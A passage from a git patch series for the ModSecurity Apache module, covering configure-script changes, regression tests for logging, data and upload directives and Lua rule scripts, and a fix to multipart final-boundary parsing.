+MSC_PKGBASE_DIR="$MSC_BASE_DIR/.." +MSC_TEST_DIR="$MSC_BASE_DIR/t" +MSC_REGRESSION_DIR="$MSC_TEST_DIR/regression" +MSC_REGRESSION_SERVERROOT_DIR="$MSC_REGRESSION_DIR/server_root" +MSC_REGRESSION_CONF_DIR="$MSC_REGRESSION_SERVERROOT_DIR/conf" +MSC_REGRESSION_LOGS_DIR="$MSC_REGRESSION_SERVERROOT_DIR/logs" +MSC_REGRESSION_DOCROOT_DIR="$MSC_REGRESSION_SERVERROOT_DIR/htdocs" + + + + + + + + + + # Find apxs { echo "$as_me:$LINENO: looking for Apache module support via DSO through APXS" >&5 echo "$as_me: looking for Apache module support via DSO through APXS" >&6;} @@ -5752,6 +5779,8 @@ if test -e "$PERL"; then ac_config_files="$ac_config_files t/csv_rx-pm.pl" + ac_config_files="$ac_config_files t/regression/server_root/conf/httpd.conf" + # Perl based tools ac_config_files="$ac_config_files ../tools/rules-updater.pl" @@ -6322,6 +6351,7 @@ do "t/run-regression-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-regression-tests.pl" ;; "t/gen_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/gen_rx-pm.pl" ;; "t/csv_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/csv_rx-pm.pl" ;; + "t/regression/server_root/conf/httpd.conf") CONFIG_FILES="$CONFIG_FILES t/regression/server_root/conf/httpd.conf" ;; "../tools/rules-updater.pl") CONFIG_FILES="$CONFIG_FILES ../tools/rules-updater.pl" ;; "mlogc-src/Makefile") CONFIG_FILES="$CONFIG_FILES mlogc-src/Makefile" ;; @@ -6443,6 +6473,14 @@ PERL!$PERL$ac_delim GREP!$GREP$ac_delim EGREP!$EGREP$ac_delim LIBOBJS!$LIBOBJS$ac_delim +MSC_BASE_DIR!$MSC_BASE_DIR$ac_delim +MSC_PKGBASE_DIR!$MSC_PKGBASE_DIR$ac_delim +MSC_TEST_DIR!$MSC_TEST_DIR$ac_delim +MSC_REGRESSION_DIR!$MSC_REGRESSION_DIR$ac_delim +MSC_REGRESSION_SERVERROOT_DIR!$MSC_REGRESSION_SERVERROOT_DIR$ac_delim +MSC_REGRESSION_CONF_DIR!$MSC_REGRESSION_CONF_DIR$ac_delim +MSC_REGRESSION_LOGS_DIR!$MSC_REGRESSION_LOGS_DIR$ac_delim +MSC_REGRESSION_DOCROOT_DIR!$MSC_REGRESSION_DOCROOT_DIR$ac_delim EXTRA_CFLAGS!$EXTRA_CFLAGS$ac_delim MODSEC_EXTRA_CFLAGS!$MODSEC_EXTRA_CFLAGS$ac_delim APXS!$APXS$ac_delim @@ -6474,13 +6512,9 @@ APU_LINK_LD!$APU_LINK_LD$ac_delim LIBXML_LIBS!$LIBXML_LIBS$ac_delim LIBXML_CFLAGS!$LIBXML_CFLAGS$ac_delim LUA_LIBS!$LUA_LIBS$ac_delim -LUA_CFLAGS!$LUA_CFLAGS$ac_delim -CURL_LIBS!$CURL_LIBS$ac_delim -CURL_CFLAGS!$CURL_CFLAGS$ac_delim -LTLIBOBJS!$LTLIBOBJS$ac_delim _ACEOF - if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 93; then + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 97; then break elif $ac_last_try; then { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 @@ -6499,6 +6533,51 @@ fi cat >>$CONFIG_STATUS <<_ACEOF cat >"\$tmp/subs-1.sed" <<\CEOF$ac_eof +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +_ACEOF +sed ' +s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g +s/^/s,@/; s/!/@,|#_!!_#|/ +:n +t n +s/'"$ac_delim"'$/,g/; t +s/$/\\/; p +N; s/^.*\n//; s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g; b n +' >>$CONFIG_STATUS <conf$$subs.sed +rm -f conf$$subs.sed +cat >>$CONFIG_STATUS <<_ACEOF +CEOF$ac_eof +_ACEOF + + +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + cat >conf$$subs.sed <<_ACEOF +LUA_CFLAGS!$LUA_CFLAGS$ac_delim +CURL_LIBS!$CURL_LIBS$ac_delim +CURL_CFLAGS!$CURL_CFLAGS$ac_delim +LTLIBOBJS!$LTLIBOBJS$ac_delim +_ACEOF + + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 4; then + break + elif $ac_last_try; then + { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +ac_eof=`sed -n '/^CEOF[0-9]*$/s/CEOF/0/p' conf$$subs.sed` +if test -n "$ac_eof"; then + ac_eof=`echo "$ac_eof" | sort -nru | sed 1q` + ac_eof=`expr $ac_eof + 1` +fi + +cat >>$CONFIG_STATUS <<_ACEOF +cat >"\$tmp/subs-2.sed" <<\CEOF$ac_eof /@[a-zA-Z_][a-zA-Z_0-9]*@/!b end _ACEOF sed ' @@ -6761,7 +6840,7 @@ s&@abs_builddir@&$ac_abs_builddir&;t t s&@abs_top_builddir@&$ac_abs_top_builddir&;t t s&@INSTALL@&$ac_INSTALL&;t t $ac_datarootdir_hack -" $ac_file_inputs | sed -f "$tmp/subs-1.sed" >$tmp/out +" $ac_file_inputs | sed -f "$tmp/subs-1.sed" | sed -f "$tmp/subs-2.sed" >$tmp/out test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && diff --git a/apache2/configure.in b/apache2/configure.in index cea79e98..717221d6 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -39,6 +39,25 @@ AC_FUNC_MALLOC AC_FUNC_MEMCMP AC_CHECK_FUNCS([atexit fchmod getcwd memset strcasecmp strchr strdup strerror strncasecmp strrchr strstr strtol]) +# Some directories +MSC_BASE_DIR=`pwd` +MSC_PKGBASE_DIR="$MSC_BASE_DIR/.." +MSC_TEST_DIR="$MSC_BASE_DIR/t" +MSC_REGRESSION_DIR="$MSC_TEST_DIR/regression" +MSC_REGRESSION_SERVERROOT_DIR="$MSC_REGRESSION_DIR/server_root" +MSC_REGRESSION_CONF_DIR="$MSC_REGRESSION_SERVERROOT_DIR/conf" +MSC_REGRESSION_LOGS_DIR="$MSC_REGRESSION_SERVERROOT_DIR/logs" +MSC_REGRESSION_DOCROOT_DIR="$MSC_REGRESSION_SERVERROOT_DIR/htdocs" + +AC_SUBST(MSC_BASE_DIR) +AC_SUBST(MSC_PKGBASE_DIR) +AC_SUBST(MSC_TEST_DIR) +AC_SUBST(MSC_REGRESSION_DIR) +AC_SUBST(MSC_REGRESSION_SERVERROOT_DIR) +AC_SUBST(MSC_REGRESSION_CONF_DIR) +AC_SUBST(MSC_REGRESSION_LOGS_DIR) +AC_SUBST(MSC_REGRESSION_DOCROOT_DIR) + # Find apxs AC_MSG_NOTICE(looking for Apache module support via DSO through APXS) AC_ARG_WITH(apxs, @@ -291,6 +310,7 @@ if test -e "$PERL"; then AC_CONFIG_FILES([t/run-regression-tests.pl], [chmod +x t/run-regression-tests.pl]) AC_CONFIG_FILES([t/gen_rx-pm.pl], [chmod +x t/gen_rx-pm.pl]) AC_CONFIG_FILES([t/csv_rx-pm.pl], [chmod +x t/csv_rx-pm.pl]) + AC_CONFIG_FILES([t/regression/server_root/conf/httpd.conf]) # Perl based tools AC_CONFIG_FILES([../tools/rules-updater.pl], [chmod +x ../tools/rules-updater.pl]) diff --git a/apache2/t/regression/config/10-response-directives.t b/apache2/t/regression/config/10-response-directives.t index b43e6395..99f0a858 100644 --- a/apache2/t/regression/config/10-response-directives.t +++ b/apache2/t/regression/config/10-response-directives.t @@ -27,9 +27,11 @@ # SecResponseBodyAccess & SecResponseBodyMimeType { type => "config", - comment => "SecResponseBodyAccess (pos)", + comment => "SecResponseBodyAccess On", conf => qq( SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 SecResponseBodyAccess On SecResponseBodyMimeType null SecRule RESPONSE_BODY "TEST" "phase:4,deny" @@ -46,15 +48,18 @@ }, { type => "config", - comment => "SecResponseBodyAccess (neg)", + comment => "SecResponseBodyAccess Off", conf => qq( SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 SecResponseBodyAccess Off SecResponseBodyMimeType null SecRule RESPONSE_BODY "TEST" "phase:4,deny" ), match_log => { -error => [ qr/Access denied/, 1 ], + debug => [ qr/Response body buffering is not enabled\./, 1 ], }, match_response => { status => qr/^200$/, diff --git a/apache2/t/regression/rule/00-script.t b/apache2/t/regression/rule/00-script.t index c09b1450..8af6d7bb 100644 --- a/apache2/t/regression/rule/00-script.t +++ b/apache2/t/regression/rule/00-script.t @@ -1,25 +1,63 @@ +### Test for SecRuleScript # Lua { - type => "config", - comment => "SecRuleScript (lua)", + type => "rule", + comment => "SecRuleScript (lua absolute nomatch)", conf => qq( SecRuleEngine On SecDebugLog $ENV{DEBUG_LOG} SecDebugLogLevel 1 - SecRuleScript "test.lua" "phase:1" + SecRuleScript "$ENV{CONF_DIR}/test.lua" "phase:2,deny" ), match_log => { + -error => [ qr/Lua script matched\./, 1 ], debug => [ qr/Test message\./, 1 ], }, match_response => { status => qr/^200$/, }, request => new HTTP::Request( - POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", - [ - "Content-Type" => "application/x-www-form-urlencoded", - ], - "a=1;b=2", + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "SecRuleScript (lua relative nomatch)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 1 + SecRuleScript "test.lua" "phase:2,deny" + ), + match_log => { + -error => [ qr/Lua script matched\./, 1 ], + debug => [ qr/Test message\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "rule", + comment => "SecRuleScript (lua relative match)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 1 + SecRuleScript "match.lua" "phase:2,deny" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with code 403 \(phase 2\)\. Lua script matched\./, 1 ], + debug => [ qr/Test message\./, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", ), }, diff --git a/apache2/t/regression/server_root/conf/httpd.conf b/apache2/t/regression/server_root/conf/httpd.conf.in similarity index 53% rename from apache2/t/regression/server_root/conf/httpd.conf rename to apache2/t/regression/server_root/conf/httpd.conf.in index b3aa787f..5be7a1da 100644 --- a/apache2/t/regression/server_root/conf/httpd.conf +++ b/apache2/t/regression/server_root/conf/httpd.conf.in @@ -1,8 +1,8 @@ ### Base configuration for starting Apache httpd # File locations -PidFile /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/logs/httpd.pid -ScoreBoardFile /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/logs/httpd.scoreboard +PidFile @MSC_REGRESSION_LOGS_DIR@/httpd.pid +ScoreBoardFile @MSC_REGRESSION_LOGS_DIR@/httpd.scoreboard <IfModule !mod_proxy.c> LoadModule proxy_module modules/mod_proxy.so @@ -13,6 +13,7 @@ ScoreBoardFile /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/serv </IfModule> <IfDefine !NOMODSEC> + # TODO: Need to have these configurable LoadFile /usr/lib/libxml2.so LoadFile /usr/lib/liblua5.1.so LoadModule security2_module modules/mod_security2.so @@ -21,10 +22,10 @@ ScoreBoardFile /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/serv ServerName localhost LogLevel debug -ErrorLog /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/logs/error.log +ErrorLog @MSC_REGRESSION_LOGS_DIR@/error.log -DocumentRoot /home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/htdocs -<Directory "/home/brectanu/projects/modsec/m2/trunk/apache2/t/regression/server_root/htdocs"> +DocumentRoot @MSC_REGRESSION_DOCROOT_DIR@ +<Directory "@MSC_REGRESSION_DOCROOT_DIR@"> Options Indexes FollowSymLinks AllowOverride None </Directory> diff --git a/apache2/t/regression/server_root/conf/match.lua b/apache2/t/regression/server_root/conf/match.lua new file mode 100644 index 00000000..fafd39b1 --- /dev/null +++ b/apache2/t/regression/server_root/conf/match.lua @@ -0,0 +1,14 @@ +-- Test matching Lua Script to just print debug messages +function main() + m.log(1, "Test message."); + m.log(2, "Test message."); + m.log(3, "Test message."); + m.log(4, "Test message."); + m.log(5, "Test message."); + m.log(6, "Test message."); + m.log(7, "Test message."); + m.log(8, "Test message."); + m.log(9, "Test message."); + + return "Lua script matched."; +end diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index e3af3127..3db0c92d 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -107,6 +107,7 @@ unless (defined $opt{S}) { SERVER_PORT => $opt{p}, SERVER_NAME => "localhost", TEST_SERVER_ROOT => $SROOT_DIR, + CONF_DIR => $CONF_DIR, LOGS_DIR => $LOGS_DIR, SCRIPT_DIR => $SCRIPT_DIR, REGRESSION_DIR => $REG_DIR, @@ -178,7 +179,7 @@ sub runfile { my $httpd_up = 0; my %t = %{$t || {}}; - my $id = sprintf("%6d %s", $n); + my $id = sprintf("%3d", $n); my $out = ""; my $rc = 0; my $conf_fn; From 043a5d60828664b40b64e8ec38b384f786d128f8 Mon Sep 17 00:00:00 2001 From: ivanr <ivanr@9017d574-64ec-4062-9424-5e00b32a252b> Date: Thu, 29 May 2008 15:10:36 +0000 Subject: [PATCH 035/110] Handle the case when there isn't a new line after the final boundary in a multipart request. This fix takes care of the WordPress Flash file uploader problem. --- apache2/msc_multipart.c | 35 ++++++++++++++++++++++++++++++----- 1 file changed, 30 insertions(+), 5 deletions(-) diff --git a/apache2/msc_multipart.c b/apache2/msc_multipart.c index d261bc5c..ad990385 100644 --- a/apache2/msc_multipart.c +++ b/apache2/msc_multipart.c @@ -820,18 +820,43 @@ int multipart_init(modsec_rec *msr, char **error_msg) { } /** - * + * Finalise multipart processing. This method is invoked at the end, when it + * is clear that there is no more data to be processed. */ -int multipart_complete(modsec_rec *msr, char **error_log) { +int multipart_complete(modsec_rec *msr, char **error_msg) { if (msr->mpd == NULL) return 1; if ((msr->mpd->seen_data != 0)&&(msr->mpd->is_complete == 0)) { if (msr->mpd->boundary_count > 0) { - *error_log = apr_psprintf(msr->mp, "Multipart: Final boundary missing."); + /* Check if we have the final boundary (that we haven't + * processed yet) in the buffer. + */ + if (msr->mpd->buf_contains_line) { + if ( ((MULTIPART_BUF_SIZE - msr->mpd->bufleft) == (4 + strlen(msr->mpd->boundary))) + && (*(msr->mpd->buf) == '-')&&(*(msr->mpd->buf + 1) == '-') + && (strncmp(msr->mpd->buf + 2, msr->mpd->boundary, strlen(msr->mpd->boundary)) == 0) + && (*(msr->mpd->buf + 2 + strlen(msr->mpd->boundary)) == '-') + && (*(msr->mpd->buf + 2 + strlen(msr->mpd->boundary) + 1) == '-') ) + { + /* Looks like the final boundary - process it. */ + if (multipart_process_boundary(msr, 1 /* final */, error_msg) < 0) { + msr->mpd->flag_error = 1; + return -1; + } + + /* The payload is complete after all. */ + msr->mpd->is_complete = 1; + } + } + + if (msr->mpd->is_complete == 0) { + *error_msg = apr_psprintf(msr->mp, "Multipart: Final boundary missing."); + return -1; + } } else { - *error_log = apr_psprintf(msr->mp, "Multipart: No boundaries found in payload."); + *error_msg = apr_psprintf(msr->mp, "Multipart: No boundaries found in payload."); + return -1; } - return -1; } return 1; From d06a3beab47a57e30b35ef343ec0b8ea529c8394 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 00:13:50 +0000 Subject: [PATCH 036/110] More tested regression tests. Cleaned up script. --- apache2/t/regression/action/10-logging.t | 248 ++++++++++++++++++ .../t/regression/config/10-audit-directives.t | 10 +- .../t/regression/config/10-misc-directives.t | 92 ++++++- apache2/t/regression/config/20-chroot.t | 35 +++ apache2/t/regression/rule/00-basics.t | 24 ++ apache2/t/regression/rule/00-inheritance.t | 4 + apache2/t/regression/rule/20-exceptions.t | 129 +++++++++ .../regression/server_root/conf/httpd.conf.in | 21 +- apache2/t/run-regression-tests.pl.in | 196 ++++++++++---- 9 files changed, 677 insertions(+), 82 deletions(-) create mode 100644 apache2/t/regression/action/10-logging.t create mode 100644 apache2/t/regression/config/20-chroot.t create mode 100644 apache2/t/regression/rule/00-basics.t create mode 100644 apache2/t/regression/rule/00-inheritance.t create mode 100644 apache2/t/regression/rule/20-exceptions.t diff --git a/apache2/t/regression/action/10-logging.t b/apache2/t/regression/action/10-logging.t new file mode 100644 index 00000000..c94c14ca --- /dev/null +++ b/apache2/t/regression/action/10-logging.t @@ -0,0 +1,248 @@ +### Logging tests + +# log/nolog +{ + type => "action", + comment => "log", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,log" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "nolog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,nolog" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# auditlog/noauditlog +{ + type => "action", + comment => "auditlog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,auditlog" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + audit => [ qr/Message: Warning. Unconditional match in SecAction\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "noauditlog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,noauditlog" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + +# All log/nolog auditlog/noauditlog combos +{ + type => "action", + comment => "log,auditlog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,log,auditlog" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + audit => [ qr/Message: Warning. Unconditional match in SecAction\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "log,noauditlog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,log,noauditlog" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "nolog,auditlog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,nolog,auditlog" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + # ENH: No message, but should have data. Is this intended? + audit => [ qr/-H--\s+Stopwatch: /s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "nolog,noauditlog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,nolog,noauditlog" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "auditlog,log", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,auditlog,log" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + audit => [ qr/Message: Warning. Unconditional match in SecAction\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "auditlog,nolog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,auditlog,nolog" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "noauditlog,log", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,noauditlog,log" + ), + match_log => { + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, +{ + type => "action", + comment => "noauditlog,nolog", + conf => qq( + SecRuleEngine On + SecAuditEngine RelevantOnly + SecAuditLog "$ENV{AUDIT_LOG}" + SecAction "phase:1,pass,noauditlog,nolog" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + diff --git a/apache2/t/regression/config/10-audit-directives.t b/apache2/t/regression/config/10-audit-directives.t index 6769a6a9..8a9d1663 100644 --- a/apache2/t/regression/config/10-audit-directives.t +++ b/apache2/t/regression/config/10-audit-directives.t @@ -132,18 +132,12 @@ } # Verify concurrent log contents - $LOG{$id}{fd} = new FileHandle($alogdatafn, O_RDONLY); - $LOG{$id}{fd}->blocking(0); - $LOG{$id}{buf} = ""; - my $alogdata = match_log($id, qr/^--[^-]+-A--.*$id.*-Z--$/s, 1); - if (defined $alogdata) { - $LOG{$id}{fd}->close(); - delete $LOG{$id}; + if (defined match_file($alogdatafn, qr/^--[^-]+-A--.*$id.*-Z--$/s)) { return 0; } # Error - dbg("LOGDATA: \"$alogdata\""); + dbg("LOGDATA: \"$FILE{$alogdatafn}{buf}\""); die "Audit log data did not match.\n"; }, match_response => { diff --git a/apache2/t/regression/config/10-misc-directives.t b/apache2/t/regression/config/10-misc-directives.t index 1ceae18a..2d20e033 100644 --- a/apache2/t/regression/config/10-misc-directives.t +++ b/apache2/t/regression/config/10-misc-directives.t @@ -2,13 +2,31 @@ ### TODO: # SecTmpDir -# SecUploadDir # SecUploadKeepFiles # SecWebAppId -# SecDataDir # SecChrootDir # SecGuardianLog +# SecDefaultAction +{ + type => "config", + comment => "SecDefaultAction", + conf => qq( + SecRuleEngine on + SecDefaultAction "phase:1,deny,status:500" + SecRule REQUEST_URI "test.txt" + ), + match_log => { + error => [ qr/ModSecurity: Access denied with code 500 \(phase 1\)/, 1 ], + }, + match_response => { + status => qr/^500$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, + # SecServerSignature { type => "config", @@ -28,22 +46,78 @@ ), }, -# SecDefaultAction +# SecDataDir { type => "config", - comment => "SecServerSignature On", + comment => "SecDataDir", conf => qq( - SecRuleEngine on - SecDefaultAction "phase:1,deny,status:500" - SecRule REQUEST_URI "test.txt" + SecRuleEngine On + SecDataDir "$ENV{DATA_DIR}" + SecAction initcol:ip=%{REMOTE_ADDR},setvar:ip.dummy=1,pass ), match_log => { - error => [ qr/ModSecurity: Access denied with code 500 \(phase 1\)/, 1 ], + error => [ qr/ModSecurity: Warning. Unconditional match in SecAction\./, 1 ], + }, + match_file => { + "$ENV{DATA_DIR}/ip.pag" => qr/\x00\x06dummy\x00\x00\x021\x00/, }, match_response => { - status => qr/^500$/, + status => qr/^200$/, }, request => new HTTP::Request( GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", ), }, + +# SecTmpDir/SecUploadDir/SecUploadKeepFiles +{ + type => "config", + comment => "SecTmpDir/SecUploadDir/SecUploadKeepFiles", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 4 + SecTmpDir "$ENV{TEMP_DIR}" + SecUploadKeepFiles On + SecUploadDir "$ENV{UPLOAD_DIR}" + ), + test => sub { + # Get the filename and make sure the file exists + my $fn = match_log(debug => qr/Moved file from .* to ".*"\./, 5); + die "Failed to determine uploaded filename\n" unless (defined $fn); + + $fn =~ s/Moved file from .* to "(.*)"\..*/$1/; + die "File does not exist: $fn\n" unless (-e $fn); + + # Check the contents of the file + return 0 if (match_file($fn, qr/^TESTFILE$/m)); + + msg("Failed to match contents of uploaded file: $fn"); + return 1; + }, + match_log => { + debug => [ qr/Created temporary file: $ENV{TEMP_DIR}/, 1 ], + -debug => [ qr/Failed to /, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "multipart/form-data; boundary=---------------------------19813181771830765643996187206", + ], + q(-----------------------------19813181771830765643996187206 +Content-Disposition: form-data; name="upload-file"; filename="test" +Content-Type: application/octet-stream + +TESTFILE +-----------------------------19813181771830765643996187206 +Content-Disposition: form-data; name="file" + +Upload File +-----------------------------19813181771830765643996187206--), + ), +}, + diff --git a/apache2/t/regression/config/20-chroot.t b/apache2/t/regression/config/20-chroot.t new file mode 100644 index 00000000..2147d2b6 --- /dev/null +++ b/apache2/t/regression/config/20-chroot.t @@ -0,0 +1,35 @@ +### SecChroot tests +# TODO: Will not work as we need root access + +#{ +# type => "config", +# comment => "SecChroot", +# httpd_opts => qw( +# -DCHROOT +# ), +# conf => qq( +# # These will be in the chroot +# PidFile /logs/httpd.pid +# ScoreBoardFile /logs/httpd.scoreboard +# User nobody +# Group nogroup +# +# SecAuditEngine On +# SecDebugLog $ENV{DEBUG_LOG} +# SecDebugLogLevel 9 +# SecAuditLog $ENV{AUDIT_LOG} +# SecAuditLogStorageDir "/logs/audit" +# SecAuditLogType Concurrent +# SecChrootDir "$ENV{TEST_SERVER_ROOT}" +# ), +# match_log => { +# debug => [ qr/./, 1 ], +# audit => [ qr/./, 1 ], +# }, +# match_response => { +# status => qr/^200$/, +# }, +# request => new HTTP::Request( +# GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", +# ), +#}, diff --git a/apache2/t/regression/rule/00-basics.t b/apache2/t/regression/rule/00-basics.t new file mode 100644 index 00000000..3c7e8c04 --- /dev/null +++ b/apache2/t/regression/rule/00-basics.t @@ -0,0 +1,24 @@ +### Tests for basic rule components + +# SecAction +{ + type => "config", + comment => "SecAction (override default)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 4 + SecAction "nolog" + ), + match_log => { + -error => [ qr/ModSecurity: /, 1 ], + -audit => [ qr/./, 1 ], + debug => [ qr/Warning\. Unconditional match in SecAction\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + ), +}, diff --git a/apache2/t/regression/rule/00-inheritance.t b/apache2/t/regression/rule/00-inheritance.t new file mode 100644 index 00000000..c661c28e --- /dev/null +++ b/apache2/t/regression/rule/00-inheritance.t @@ -0,0 +1,4 @@ +### Tests for rule inheritance + +### TODO: +# SecRuleInheritance diff --git a/apache2/t/regression/rule/20-exceptions.t b/apache2/t/regression/rule/20-exceptions.t new file mode 100644 index 00000000..43ccf215 --- /dev/null +++ b/apache2/t/regression/rule/20-exceptions.t @@ -0,0 +1,129 